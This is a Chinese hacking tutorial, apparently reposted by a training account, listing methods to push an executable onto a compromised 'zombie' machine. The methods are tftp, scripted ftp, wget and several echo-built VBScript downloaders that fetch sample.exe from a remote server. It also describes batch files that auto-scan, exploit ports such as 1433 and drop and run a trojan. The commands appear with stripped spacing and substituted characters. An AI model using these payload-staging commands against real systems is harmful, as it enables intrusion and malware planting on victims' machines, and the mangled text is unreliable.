ftp法
先在自己某机器上建个tftp服务器,如执行tftpd32.exe，
再将文件（sample.exe)上传到别的机器中(肉鸡），
肉鸡cmd中执行：tftp-i服务器ipgetsample.exe
ftp法
肉鸡cmd中执行：
echoopenftp服务器ip[端口]》ftp.txt
echousername》》ftp.txt
echopassword》》ftp.txt
echogetsample.exe》》ftp.txt
echobye》》ftp.txt
ftp-s:ftp.txt
delftp.txt
工具法
利用wineggdrop的wget.exe
肉鸡cmd中执行：wget网站/sample.exe
利用dl.vbe法
肉鸡cmd中执行：
echowithwscript:if.arguments.count^《2then.quit:endif
》dl.vbe
echosetaso=.createobject("adodb.stream"):set
web=createobject("microsoft.xmlhttp")》》dl.vbe
echoweb.open"get",.arguments(0),0:web.send:if
web.status^》200thenquit》》dl.vbe
echo
aso.type=1:aso.open:aso.writeweb.responsebody:aso.savetofile
.arguments(1),2:endwith》dl.vbe
cscriptdl.vbehttp://*。*。*。*:88/sample.exesample.exe
利用iget.vbe法
方法同4，
肉鸡cmd中执行：
echoiLocal=LCase(WScript.Arguments(1))》iget.vbe
echoiRemote=LCase(WScript.Arguments(0))》》iget.vbe
echoSetxPost=CreateObject("Microsoft.XMLHTTP")
》》iget.vbe
echoxPost.Open"GET",iRemote,0》》iget.vbe
echoxPost.Send()》》iget.vbe
echoSetsGet=CreateObject("ADODB.Stream")》》iget.vbe
echosGet.Mode=3》》iget.vbe
echosGet.Type=1》》iget.vbe
echosGet.Open()》》iget.vbe
echosGet.Write(xPost.responseBody)》》iget.vbe
echosGet.SaveToFileiLocal,2》》iget.vbe
cscriptiget.vbehttp://*。*。*。*/sample.exesample.exe
利用Http网站vbe法
echoSetxPost=CreateObject("Microsoft.XMLHTTP")
》dsa.vbe
echoxPost.Open"GET","http://*.*.*.*/sample.exe",0
》》dsa.vbe
echoxPost.Send()》》dsa.vbe
echoSetsGet=CreateObject("ADODB.Stream")》》dsa.vbe
echosGet.Mode=3》》dsa.vbe
echosGet.Type=1》》dsa.vbe
echosGet.Open()》》dsa.vbe
echosGet.Write(xPost.responseBody)》》dsa.vbe
echosGet.SaveToFile"sample.exe",2》》dsa.vbecscript
dsa.vbe
deldsa.vbe
3389法
可以开3389，然后登陆，进行本地的下载。该方法对服务
器上传很严格的机器特有效。（包括硬件防火墙）
先打开多个NC.bat,然后再打开扫描+溢出.bat,然后你就可以
去睡大觉了。自动扫描，扫描完后自动溢出，溢出后还自动下
马执行，爽吧！所以这里讲详细点，呵呵。还有4221端口也
可以这样溢出，只要用这些端口的溢出工具就好了，详细动画
可以去黑客网站搜索1433。
忘了说，上面的工具和批处理什么的都要放在同一个文件
夹下。
弈安传媒科技微课堂,每天分享财经资讯,计算机技术知识,人生感悟,创业指导以及各种专业技术知识资料学习交流.移动学习平台、知识分享平台。随时随地的学习,如果你喜欢成长,这里你不容错过的地方.弈安传媒科技培训关注:关注自己成长,分享内容,分享自己的技术,成就未来.